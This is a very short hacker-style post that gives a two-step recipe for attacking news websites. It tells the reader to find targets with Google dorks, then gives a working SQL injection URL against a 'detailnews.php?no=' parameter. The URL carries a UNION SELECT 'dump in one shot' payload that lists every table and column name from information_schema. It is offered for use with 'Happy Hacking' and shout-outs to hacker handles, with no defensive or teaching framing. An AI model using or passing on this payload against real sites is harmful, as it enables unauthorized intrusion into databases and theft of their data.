1. Dorking on google
2. Exploit :
https://site.id/detailnews.php?no=-1'+UNION+SELECT+1,2,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),4,5,6,7--+-
Happy Hacking :'>
Thx : D704T - Ghost Hunter Illusion - Cianjur666etar - ./palc_0n